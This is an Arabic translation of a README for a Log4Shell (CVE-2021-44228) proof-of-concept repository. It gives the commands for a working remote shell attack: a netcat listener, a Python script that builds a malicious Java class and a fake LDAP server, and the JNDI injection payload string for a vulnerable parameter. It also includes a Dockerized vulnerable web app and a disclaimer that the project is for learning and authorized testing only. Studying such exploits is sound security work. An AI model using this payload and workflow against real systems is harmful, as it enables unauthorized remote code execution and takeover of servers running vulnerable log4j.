
إثبات مفهوم لثغرة CVE-2021-44228.
إثبات فكرة (PoC) للثغرة الأمنية CVE-2021-44228 المكتشفة مؤخرًا.
مؤخرًا ظهرت ثغرة جديدة في log4j، وهي مكتبة تسجيل (logging) بلغة جافا تُستخدم على نطاق واسع جدًا في أشياء مثل elasticsearch و minecraft والعديد من التطبيقات الأخرى.
في هذا المستودع، أنشأنا تطبيقًا مثالًا قابلًا للاستغلال واستغلالًا كإثبات فكرة (POC) له.
تطبيق الويب القابل للاستغلال:
غيدرا (السكربت القديم):
إثبات فكرة ماين كرافت (السكربت القديم):
كإثبات فكرة، أنشأنا ملف Python يقوم بأتمتة العملية.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20، وأن يكون في نفس الدليل.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
سينشئ هذا السكربت خادم HTTP وخادم LDAP نيابةً عنك، وسينشئ أيضًا الحمولة (payload) التي يمكنك لصقها في الوسيط (parameter) القابل للاستغلال. بعد ذلك، إذا سار كل شيء على ما يرام، يجب أن تحصل على صدفة على منفذ lport.
أضفنا Dockerfile مع تطبيق الويب القابل للاستغلال. يمكنك استخدامه باتباع الخطوات التالية:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
بمجرد تشغيله، يمكنك الوصول إليه على localhost:8080
إذا كنت ترغب في مواصلة تطوير المشروع، يمكنك استخدام Intellij IDE الذي استخدمناه لتطوير المشروع. لقد أرفقنا أيضًا مجلد .idea يحتوي على ملفات إعداد تجعل العمل أسهل قليلًا. ربما يمكنك استخدام بيئات تطوير أخرى أيضًا.
في وقت إنشاء الاستغلال، لم نكن متأكدين تمامًا من إصدارات Java التي تعمل والتي لا تعمل، لذلك اخترنا العمل مع أحد أقدم إصدارات Java 8: java-8u20.
لحسن الحظ، توفّر Oracle أرشيفًا لجميع إصدارات Java السابقة:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
مرر لأسفل إلى 8u20 وقم بتنزيل الملفات المناسبة لنظام التشغيل والعتاد لديك.

ملاحظة: تحتاج إلى إنشاء حساب لتتمكن من تنزيل الحزمة.
بمجرد تنزيل الأرشيف واستخراجه، يمكنك العثور على java وبعض الملفات الثنائية ذات الصلة في jdk1.8.0_20/bin.
ملاحظة: تأكد من استخراج مجلد jdk إلى هذا المستودع بنفس الاسم حتى يعمل.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
لا يُقصد من هذا المستودع أن يكون استغلالًا بنقرة واحدة لـ CVE-2021-44228. الهدف من هذا المشروع هو مساعدة الأشخاص على التعلم عن هذه الثغرة الرائعة، وربما اختبار تطبيقاتهم الخاصة (مع وجود تطبيقات أفضل لهذا الغرض، مثل: https://log4shell.tools/).
لن يساعد فريقنا أو يؤيد أي استخدام لهذا الاستغلال في أنشطة خبيثة؛ لذلك إذا طلبت المساعدة، قد يُطلب منك تقديم دليل على أنك تملك الخدمة المستهدفة أو أن لديك إذنًا باختبار الاختراق عليها.